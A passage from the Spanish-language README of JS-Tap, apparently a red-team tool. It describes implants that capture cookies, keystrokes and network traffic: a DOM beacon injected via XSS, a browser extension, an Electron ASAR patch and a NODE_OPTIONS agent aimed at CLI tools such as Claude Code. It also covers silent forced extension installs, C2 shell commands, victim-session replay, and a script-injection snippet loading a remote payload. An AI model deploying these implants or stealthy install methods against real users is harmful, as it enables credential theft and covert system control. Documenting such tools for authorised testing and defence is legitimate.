Por defecto, esto iniciará la aplicación ejecutándose en:``` https://127.0.0.1:8443
Al presionar el botón "Inject JS-Tap payload" se ejecutará la carga útil del DOM Beacon. Esto funciona tanto en modo implante como en modo trampa. Es posible que deba apuntar la aplicación monkeyPatchLab a una nueva ubicación del servidor JS-Tap para cargar el archivo de carga útil; puede encontrar esta configuración en la función **injectPayload()** en **main.js**```
function injectPayload()
{
document.head.appendChild(Object.assign(document.createElement('script'),
{src:'https://127.0.0.1:8444/lib/telemlib.js',type:'text/javascript'}));
}
Otra aplicación simple similar a MonkeyPatchApp, sin embargo las llamadas a la API XHR en esta aplicación realizan un cambio visible en la aplicación (cambiando el nivel "defcon").
También tiene un botón Inject JS-Tap payload que simula un exploit XSS. Todo el código está incluido en el archivo defconServer.py, incluyendo el JavaScript y HTML.
Esta aplicación es una buena prueba para la generación automática de payloads a partir de llamadas de red XHR interceptadas.```bash python3 tools/defconApp/defconServer.py
### SpaTestApp
Una aplicación de prueba de una sola página (SPA) que utiliza llamadas a la API Fetch para operaciones CRUD. Útil para probar el monkeypatching de SPAs basadas en Fetch y la autogeneración de payloads mimic a partir de llamadas API interceptadas.```bash
python3 tools/spaTestApp/spaServer.py
Herramienta heredada para analizar formularios HTML y extraer sus parámetros. Ha sido reemplazada por la funcionalidad de imitación que genera automáticamente cargas útiles personalizadas.
Herramienta heredada, utilizada antes de la interfaz web de JS-Tap. El script generateIntelReport recorría el botín recopilado y generaba un informe en PDF. Ya no es funcional: la mayoría del botín ahora se almacena en la base de datos, con la excepción del código HTML exfiltrado y las capturas de pantalla.
@hoodoer
[email protected]
| Tipo de Baliza | Qué Es | Cómo Llega |
|---|
| DOM Beacon (telemlib.js) | Un payload de JavaScript inyectado en una página web. Instrumenta el DOM, captura actividad del usuario, capturas de pantalla, llamadas de red. | Vulnerabilidad XSS, o agregado directamente a los archivos JavaScript de la aplicación objetivo (post-explotación). |
| BEX Beacon | Una extensión de navegador (Chrome MV3 / Firefox MV2). Monitorea toda la actividad de navegación, captura cookies (incluyendo httpOnly), localStorage, sessionStorage y encabezados de solicitud. Puede inyectar DOM Beacons en dominios específicos bajo comando. | Instalada en el navegador del objetivo (ingeniería social, acceso físico, impulso de políticas, etc.). |
| Sidecar | Un binario nativo de Go que se ejecuta en el SO del objetivo. Proporciona navegación del sistema de archivos, lectura de archivos y ejecución de comandos. | Instalado junto con el BEX Beacon a través de mensajería nativa. Requiere que el BEX Beacon retransmita comandos. |
| Atom Beacon | Un implante de dos capas para aplicaciones de escritorio Electron. Inyecta un agente de proceso principal (runtime Node.js) + payloads de renderizador en todas las ventanas de la aplicación. Combina la recopilación de datos a nivel de navegador con acceso al SO a nivel de host, sin necesidad de un binario separado. Soporta modo proxy de navegador. | Parcheado en el archivo ASAR de la aplicación Electron objetivo (o directorio de aplicación desempaquetado) usando atomize.py. |
| V8 Beacon | Un agente JavaScript para aplicaciones CLI de Node.js y Bun (Gemini CLI, Claude Code, etc.). Intercepta todas las llamadas de red HTTP/Fetch, captura pulsaciones de teclas y proporciona acceso al sistema de archivos y shell. Sin dependencias. | Inyectado mediante variable de entorno: NODE_OPTIONS="--require" (Node.js) o BUN_OPTIONS="--preload" (Bun). No se necesita parchear la aplicación. |
| Proxy de Navegador | Un proxy MITM en el servidor JS-Tap que enruta el tráfico HTTP/HTTPS del operador a través del navegador (o proceso Node.js) de la víctima mediante WebSocket. Las solicitudes se obtienen desde el contexto de red de la víctima, por lo que el sitio objetivo ve la IP y la huella digital TLS de la víctima. Combínalo con un Ticket de Sesión para una navegación autenticada a través de la red de la víctima. Compatible con BEX, Atom y V8 Beacons. Ver Proxy de Navegador más abajo. |
| JS-Tap Conductor | Una extensión independiente de Firefox que importa datos de sesión capturados por el BEX Beacon (como un "Ticket JS-Tap") y los reproduce localmente, estableciendo cookies, inyectando encabezados, llenando almacenamiento y suplantando el User-Agent, para que el operador pueda navegar como la víctima. Ver Tickets JS-Tap y JS-Tap Conductor más abajo. |
V8 Beacon para herramientas CLI: El V8 Beacon se dirige a aplicaciones CLI basadas en Node.js y Bun. Establece una variable de entorno (NODE_OPTIONS o BUN_OPTIONS) y la baliza se carga antes del código propio de la aplicación, sin necesidad de parchear ni modificar la aplicación objetivo. Realiza monkey-patching de http.request, https.request, fetch y http2.connect para interceptar todo el tráfico de red, engancha process.stdin para capturar pulsaciones de teclas y proporciona navegación de archivos y ejecución de shell a través del canal C2. Las herramientas CLI que generan procesos hijos (por ejemplo, Gemini CLI se genera a sí mismo como hijo para la sesión interactiva) se manejan automáticamente: el hijo hereda las claves de sesión del padre y comparte el mismo cliente lógico en el portal. El filtrado de subprocesos entre runtimes evita que los subprocesos de utilidad Node.js de aplicaciones Bun se registren como clientes separados.
Plugins para ataques específicos de aplicación: Los clientes Atom Beacon y V8 Beacon soportan plugins cargables en tiempo de ejecución. Los plugins son módulos JavaScript cargados desde el portal JS-Tap que extienden las capacidades de la baliza para aplicaciones objetivo específicas (por ejemplo, el plugin Mattermost). Los plugins tienen acceso a las APIs Node.js de la baliza (fs, http, crypto, child_process), APIs de Electron (para Atom Beacons) y un canal de exfiltración de datos de vuelta al servidor. Cada plugin incluye un manifiesto (manifest.json) que declara sus aplicaciones objetivo, capacidades y configuraciones ajustables por el operador, más un panel de UI opcional (ui.html) mostrado en el portal.
| Navegador | Método de instalación | Requisitos |
|---|
| Chrome/Chromium (Linux, con .crx + ID estática) | Escribe una política empresarial que fuerza la instalación de la extensión desde un CRX local. No se requiere interacción del usuario: la extensión se instala silenciosamente en el próximo inicio. | sudo |
| Chrome/Chromium (macOS, con .crx + ID estática) | Copia el .crx a un directorio del sistema y escribe un JSON de extensión externa. El usuario debe hacer clic en "Keep" cuando Chrome advierte sobre la extensión. | sudo |
| Chrome/Chromium (sin .crx) | Copia la extensión desempaquetada a un directorio estable. Muestra instrucciones para el modo de desarrollador de chrome://extensions. | Ninguno |
| Chrome (Windows, con .crx + ID estática) | Copia el .crx y escribe una entrada de registro para la instalación de extensión externa. | Ninguno (registro a nivel de usuario) |
| Firefox (con .xpi + ID de extensión) | Detecta automáticamente el perfil predeterminado de Firefox y copia el .xpi en el directorio extensions/ del perfil. Firefox solicita al usuario que habilite la extensión en el próximo inicio. | Ninguno |
| Firefox (sin .xpi) | Copia la extensión desempaquetada a un directorio estable. Muestra instrucciones para about:debugging. | Ninguno |
| Comando | Argumentos | Descripción |
|---|
list_dir | { path: "/some/path" } | Lista el contenido del directorio. Por defecto usa el directorio home del usuario si la ruta está vacía. Devuelve nombres de archivo, tamaños, tipos y horas de modificación. |
read_file | { path: "/some/file", offset: 0, limit: 1048576 } | Lee el contenido del archivo (codificado en base64). Máximo 1MB por lectura. Soporta offset/límite para archivos grandes. |
exec_cmd | { command: "whoami", timeout: 30 } | Ejecuta un comando de shell. Usa /bin/sh -c en Linux/macOS, cmd.exe /C en Windows. El tiempo máximo de espera es de 120 segundos. Devuelve stdout, stderr y código de salida. |
v8--output PATH | Ruta del archivo de salida (por defecto: ./v8-beacon.js) |
/v1/messages| Campo | Descripción |
|---|
name | Nombre visible de la extensión |
version | Versión de la extensión (también se usa en el JSON de extensión externa .crx). Auto-incrementado por buildAll.py en cada compilación. |
description | Descripción de la extensión que se muestra en el navegador |
install_dirname | Nombre del directorio utilizado por los scripts de instalación para almacenar archivos en el sistema objetivo (p. ej. /opt/<dirname>/ en Linux, %LOCALAPPDATA%\<dirname> en Windows). También se usa para el nombre del archivo de política empresarial. Elige algo inocuo. Valor predeterminado: jstap |
| Campo | Descripción |
|---|
chrome_key | Clave pública DER codificada en Base64. Se inyecta como key en el manifiesto de Chrome para obtener un ID de extensión determinista. |
chrome_key_pem | Ruta al archivo .pem de la clave privada (relativa a la raíz del proyecto). Lo usa el script de compilación para empaquetar archivos .crx. |
chrome_extension_id | El ID de la extensión de Chrome de 32 caracteres. Se calcula automáticamente a partir de chrome_key si se deja vacío. Se usa en los manifiestos de mensajería nativa sidecar. |
firefox_extension_id | ID de la extensión de Firefox (p. ej. bex-beacon@jstap). Se inyecta en el manifiesto de Firefox como browser_specific_settings.gecko.id. |
| Descripción |
|---|
base_interval | Intervalo base en segundos entre heartbeats. Valor predeterminado: 60 en producción, 5 en desarrollo/pruebas. |
jitter_percent | Porcentaje de jitter aplicado al intervalo base. Un valor de 30 significa que cada heartbeat se disparará en un tiempo aleatorio entre el 70% y el 130% del intervalo base. Establece 0 para no tener jitter (útil para depuración). |
whitelist_enabledfalse = monitorear todos los dominios (modo all_domains). true = solo monitorear dominios que coincidan con los patrones de la lista blanca. |
whitelist | Arreglo de patrones de coincidencia de URL. Patrones estándar de coincidencia de extensiones de navegador con comodines *. Solo se usa cuando whitelist_enabled es true. |